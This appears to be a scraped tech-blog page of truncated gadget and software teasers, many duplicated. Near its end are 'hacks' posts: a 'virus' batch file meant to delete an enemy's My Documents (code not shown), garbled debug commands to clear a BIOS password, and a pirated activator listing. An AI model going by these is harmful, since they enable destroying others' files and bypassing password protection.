Toshiba’s Qosmio G40 now with world’s first HD DVD-RW drive

Notice anything special about that laptop up there? No besides it’s monstrous footprint. Right, a world’s first HD DVD-RW drive in a laptop.Otherwise, it’s the same 17-inch WUXGA (1920 x 1200) Qosmio G40 we know and love now topping out with a 2.2GHz T7500 Core 2 Duo, up to 400GB of disk and 4GB of memory, and a pair of terrestrial HDTV tuners with HDMI-out in a 10.6-pound slab of media action. Priced at about ¥400,000 ($3,530) nicely equipp...

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Phantom Lapboard now on sale, suckers rejoice

At this point we’re pretty certain Phantom’s shady, vaporous history is warning enough to anyone thinking about giving cash to the company, but the risk-takers out there might want to take note: Phantom’s oft-delayed Lapboard is now available for purchase. Of course, there’s no ship date listed and — true to Phantom form — the site’s SSL certificate is a little shady, but come on, you know you want to pony up your credit card number and let us know what happe...

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USB Christmas Tree

Most modern PCs come adorned with numerous USB sockets capable of connecting a wide range of devices. Printers, cameras, MP3 players all make use of the easy connectivity of USB so why not christmas decorations too?These USB Christmas trees stand about 12cm high & will run from any computer with a spare USB port (or one that you are willing to do without your printer on for a while).Once plugged in the computer will automatically engage it's much underused festive decoration recognition routines...

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USB Pencil Sharpener

Just when you thought it was save to go back into the USB cupboard, out pops the most pointless USB gadget of them all.The flashing pencil sharpener to adorn your desktop.What more could the avid PC user wa...

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Just a Flick of the Wrist : Logitech's MX Air

Big fan of the Wii? You'll love this. Logitech has launched a brand new, shiny masterpiece, the MX Air mouse. The G4 Slim mouse is slender and therefore sexy, but this is a tough act to beat. And not only is she beautiful, she's smart too.This rechargeable mouse acts less like a traditional mouse and more like a wand, or a remote. To put it simply, it works on your desktop or waving about in the air. It responds to Freespace motion technology, allowing the user to hold it at any angle or point it...

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Thinnest ever Laptop Mouse

The new G4 Slim Mouse is claimed to be the worlds thinnest ever mouse, infact, its so small you can fit it inside the PCMCIA slot of your laptop.The G4 mouse has a retractable USB cable so you can hide away all the wires when its not in use. It also comes with a touch scroll pad in the middle of the 2 mouse buttons and is also an optical tracking mouse.In its standard form the G4 is just a flat piece of plastic and metal measuring only 5mm thick, but once you have figured out hold to unfold the...

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Light-Operated Mouse/Keyboard

Lomak (AKA Light Operated Mouse and Keyboard) is simply that; a mouse and keyboard set designed for those can't use standard tools of the trade. You may have seen similar innovations such as speech recognition, or even mind reading, capabilities in technology to accommodate any and all users. The concept here is the same, simply utilizing a beam of light instead.The system works with the aid of a light-sending pointer, which can be worn somewhere on the head or hands. By directing that light supplied...

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EzKey Keypad Mouse

I love my laptop, plain and simple. But there are a few problems with our relationship and one of the main problems would be my enthusiasm for a full numeric pad for quick number entry. This especially showed through when I had an online statistics course. Well now there is an answer to those that share this frustration with their notebook.Coming in two flavors of black and white, the EzKey mouse features a flip up shell to reveal a full numeric keypad, perfect for the next time you have to...

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Update Your MacBook's Look

I think we all know that those beautiful [plastic] MacBooks are finally on their way out. It's a sad day, but this is the truth. In case time wasn't reason enough, the new line of all-aluminum iPods was basically the final nail in that coffin. With metal Macs on the way, what can you do to update the look of your computer?There's a couple of new skins on the market that I'd like to cover. The first is more or less a form of direct denial and desperation, mimicking actual aluminum Macs. The Shimura...

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Bling MacBook Pro; Diamonds and Gold Included

The MacBook Pro: Pimp Edition has finally arrived! If mods are your thing, particularly the high-dollar flashy ones, you're really going to dig this. After all, why not dip your Mac into a pool of gold and diamonds?So what exactly are you getting here? It's not those knock-off diamonds, of that you can be sure (although the knock-off diamonds are an option). For somewhere around eight grand [$7,000-$8,000], you can snag a package including the computer itself, the 24-carat gold casing, and about...

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Bling MacBook Pro; Diamonds and Gold Included

The MacBook Pro: Pimp Edition has finally arrived! If mods are your thing, particularly the high-dollar flashy ones, you're really going to dig this. After all, why not dip your Mac into a pool of gold and diamonds?So what exactly are you getting here? It's not those knock-off diamonds, of that you can be sure (although the knock-off diamonds are an option). For somewhere around eight grand [$7,000-$8,000], you can snag a package including the computer itself, the 24-carat gold casing, and about...

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Leopard vs. Vista: feature chart showdown

There no doubt, Vista and Leopard are both extremely advanced, feature rich consumer operating systems. But way back in January when Vista launched knew we had little choice but pit the two in a head to head chartngraph Thunderdome competition. We know we're not even going to be able to stop the epic fanboy arguments about break out over this one, so we just ask that you try to keep it fair. Leopard vs. Vista: it's on.NOTE: This chart is only for out of box features, and does not take into account...

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Leopard vs. Vista: feature chart showdown

There no doubt, Vista and Leopard are both extremely advanced, feature rich consumer operating systems. But way back in January when Vista launched knew we had little choice but pit the two in a head to head chartngraph Thunderdome competition. We know we're not even going to be able to stop the epic fanboy arguments about break out over this one, so we just ask that you try to keep it fair. Leopard vs. Vista: it's on.NOTE: This chart is only for out of box features, and does not take into account...

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Multi-Card Reader Boosts Efficiency

Lots of different memory cards means lots of different card readers. I have to wonder why we didn't think of something like a multi-card reader sooner, but better late then never.The guys and gals and Elecom are the ones to bring us this to make our lives of travel ten times easier (and lighter). ALl of your problems are solved with one USB port and their MR-C12 USB 2.0 card reader.The whole thing comes wrapped in a small package with an opening lid under which all of your cards are safely tucked...

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Multi-Card Reader Boosts Efficiency

Lots of different memory cards means lots of different card readers. I have to wonder why we didn't think of something like a multi-card reader sooner, but better late then never.The guys and gals and Elecom are the ones to bring us this to make our lives of travel ten times easier (and lighter). ALl of your problems are solved with one USB port and their MR-C12 USB 2.0 card reader.The whole thing comes wrapped in a small package with an opening lid under which all of your cards are safely tucked...

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A USB...Seat Warmer

USB ports are so useful, aren't they? Except for when they're wasted. We've seen USB utilized to send convenience through the roof, and we've also seen it used to keep your drinks cool. I suppose that's the kind of diversity you get, but come on.The gadget in question now is Thanko's USB Warmer Cushion. It's function seems obvious; plug 'er up, it warms your rump. I suppose if you had a metal chair or something, which doesn't seem that common, this could possibly be useful. Perhaps I'm just not...

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A USB...Seat Warmer

USB ports are so useful, aren't they? Except for when they're wasted. We've seen USB utilized to send convenience through the roof, and we've also seen it used to keep your drinks cool. I suppose that's the kind of diversity you get, but come on.The gadget in question now is Thanko's USB Warmer Cushion. It's function seems obvious; plug 'er up, it warms your rump. I suppose if you had a metal chair or something, which doesn't seem that common, this could possibly be useful. Perhaps I'm just not...

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Bluetooth Laser Virtual Keyboard

When you think about the future of tech, lasers usually come to mind. Well, for me at least. Now there is this laser keyboard, a very small, even "pocketable", device that displays a virtual, full size keyboard on the flat surface of your choice.And what's better than simulated click sounds when you press the "buttons?" One of my favorite things about this product is, it's connected by blue tooth. So if your computer doesn't support blue tooth, either get a dongle already, or get a computer made...

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Bluetooth Laser Virtual Keyboard

When you think about the future of tech, lasers usually come to mind. Well, for me at least. Now there is this laser keyboard, a very small, even "pocketable", device that displays a virtual, full size keyboard on the flat surface of your choice.And what's better than simulated click sounds when you press the "buttons?" One of my favorite things about this product is, it's connected by blue tooth. So if your computer doesn't support blue tooth, either get a dongle already, or get a computer made...

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Trigem DreamSys MFWT Desktop PC

Trigem Computer, a Korea-based computer manufacturer, released “DreamSys MFWT” Desktop PC in Korea market. Powered by Intel’s Core 2 Duo processor and Intel G33 chipset, the machine sports a nice two-door white-colored design along with a wonderful air circulation design, keeping the PC cool and silent. Priced at 1,199,000 (KRW), it also features a GeForce 7300LE graphics engine, a 320GB of SATA hard drive, and a 7.1-channel sound engine.Detail specs and more pics after the jump....

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Trigem DreamSys MFWT Desktop PC

Trigem Computer, a Korea-based computer manufacturer, released “DreamSys MFWT” Desktop PC in Korea market. Powered by Intel’s Core 2 Duo processor and Intel G33 chipset, the machine sports a nice two-door white-colored design along with a wonderful air circulation design, keeping the PC cool and silent. Priced at 1,199,000 (KRW), it also features a GeForce 7300LE graphics engine, a 320GB of SATA hard drive, and a 7.1-channel sound engine.Detail specs and more pics after the jump....

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Antec 850w Quattro Power Supply Review

Measures 3.4 x 5.9 x 7.1-inch and weighs 2.6kg, “Quattro Power” from Antec is a wonderful power supply that provides up to 850W of power to your PC. It comes with a Universal Input that automatically adjusts for 100V ~ 240V power grids, long with Active Power Factor Correction (PFC) that helps reduce electrical waste and Gold-plated connectors for superior conductivity. Furthermore, Quattro Power is equipped with 2 x 8-pin PCI-E connectors and 2 x 6-pin connectors for PCI-Express graphics car...

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Antec 850w Quattro Power Supply Review

Measures 3.4 x 5.9 x 7.1-inch and weighs 2.6kg, “Quattro Power” from Antec is a wonderful power supply that provides up to 850W of power to your PC. It comes with a Universal Input that automatically adjusts for 100V ~ 240V power grids, long with Active Power Factor Correction (PFC) that helps reduce electrical waste and Gold-plated connectors for superior conductivity. Furthermore, Quattro Power is equipped with 2 x 8-pin PCI-E connectors and 2 x 6-pin connectors for PCI-Express graphics car...

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New Sexy Mouse From Pat Says Now

I’m speechless! After the sexy lingerie mouse, here comes the sexy (woman) body mouse from Pat Says Now. The mouse is as gorgeous as its predecessor. Too bad, I still can’t find any of it on local store here…Sexy body-shaped mouse was showcased by Pat Says Now during Tendence Lifestyle 2007 event in Frankfurt, Germ...

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HP 6250s Laptop

The 2.27kg HP 6250s laptop features a 14.1-inch widescreen monitor with either anti-glare display or HP BrightView display that enhanced the brightness, contrast, and clarity; WLAN / WiFI and Bluetooth connectivities, high-perfomance Intel Core 2 Duo processor, and an optional SuperMulti DVD burner with LightScribe Drive3 technology. The notebook aimed at business customers by combining mobility and productivity in one single machine. Unfortunately, not muh detail about its specs,...

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A-Z Keyboard Shortcuts

Shift + F10 right-clicks.Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.Win + Control + F: Open Find dialog. (Computers)Win + U: Open Utility Manager.Win + F1: Open Windows help.Win + Pause: Open System Properties dialog.Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.Win + Shift + Tab: Cycle through taskbar buttons...

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Make Undeletable Or Unreadable Folders

Works For Windows 95/98By holding down alt, then typing numbers on the number pad (right of the keyboard) you can create special characters. If you hold down alt, then press 1, then let go, you got the ascii character 1. You try some randomn numbers. This goes all the way up to 255. Open a dos prompt, and type md (alt+1+9+4)someword. md is the dos command to make a directoy, now try and open the directory in Windows, you can't. To open it, type ren (alt+1+9+4)someword someword (ren is the dos command...

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You tube and Google video Hacks

Youtube Links, Download, google video Links, Youtube songs, google Video songs, download from Youtube & google Video.As we all know that none of the video sharing sites provide a link to download their videos. So we will have to do some tweaking and play around to download the videos. Here are some ways to download any video from the internet , they are based on the common hack (Right-click -> "Save Target As" OR copy the link into your download manager, but change the file extension to .flv)Method...

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CREATING A VIRUS

CREATING A VIRUS......mmmmmmmHERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.HERE'S WHAT U SHOULD DO.OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELET...

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INCREASE WEB'S SPEED WITH THE HELP OF GOOGLE

INCREASE WEB'S SPEED WITH THE HELP OF GOOGLEWANT 2 ACCELERATE UR INTERNET SPEED WITH THE HELP OF GOOGLE THENGO 2 THIS SITE...

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BIOS PASSWORD CRACK

1)Boot up windows.2)Go to dos prompt or go to command prompt directly from the windows start up menu.3)Type the command at the prompt:"debug"(without quotes)4)Type the following lines now exactly as given...0701007120quitexit4)Exit from the dos prompt and restart the machine.PASSWORD PROTECTION IS GONE.Just make ur bac...

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Use remote desktop to connect to your PC from anywhere

Windows XP Professional includes Microsoft's remote desktop software, which can be used to access your computer from anywhere you have Internet access. Not only can you access your system, you can actually see and manipulate the desktop environment just as if you were seated in front of the system.Let's look at how to do this: In order to use Remote Desktop to connect to your home computer remotely, it must first be enabled. Right click on 'my computer' then select the 'remote' tab, and check the box entitled 'allow computers to connect remotely...

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LINKSYS WRT54G IEEE 802.3/3u, IEEE 802.11b/g Wireless-G Broadband Router - Retail

$54.99Pros: It is a half-way decent router.Cons: The earlier versions of this model were good, but the newer ones are gutted; they don't have much memory, and a they have a cheaper processor.Other Thoughts: If you want a good router, look to the WRT54GL rather than this. It has more memory, and is all-around better. You would also do well to install DD-WRT on it. Did you find this review helpful? WRT54G Changes ..... Reviewed By: SteveTheComputerGuy...

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RealPlayer v11.0.0.167 Plus Beta (NEW! BetaMaster Premium Activator)

RealPlayer offers an easy-to-use product for consumers to access and manage all their digital media from one convenient place.UniversalityThe RealPlayer plays all major media formats including RealVideo, RealAudio, Windows Media and Quicktime. This makes it easier for end users to decide on the media they want to access, not the format or software. We take universality a step further by providing RealPlayers for Windows, Macintosh, Linux, Unix, mobile phones, portable devices, set top boxes, DVD...

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Style XP 3.19

Style XP is not a skinning engine. It uses Microsoft’s built-in visual style engine, but enhances it by providing many useful tools. Style XP can import, select, rotate, and manage themes, visual styles, wallpapers, logons, bootscreens, icons, cursors and explorer bar. Future versions may support sounds, screensavers, and packages of all the above. How does it work? Instead of lines and gradients, the XP user interface natively supports the use of skinned bitmap controls (a visual style). This is...

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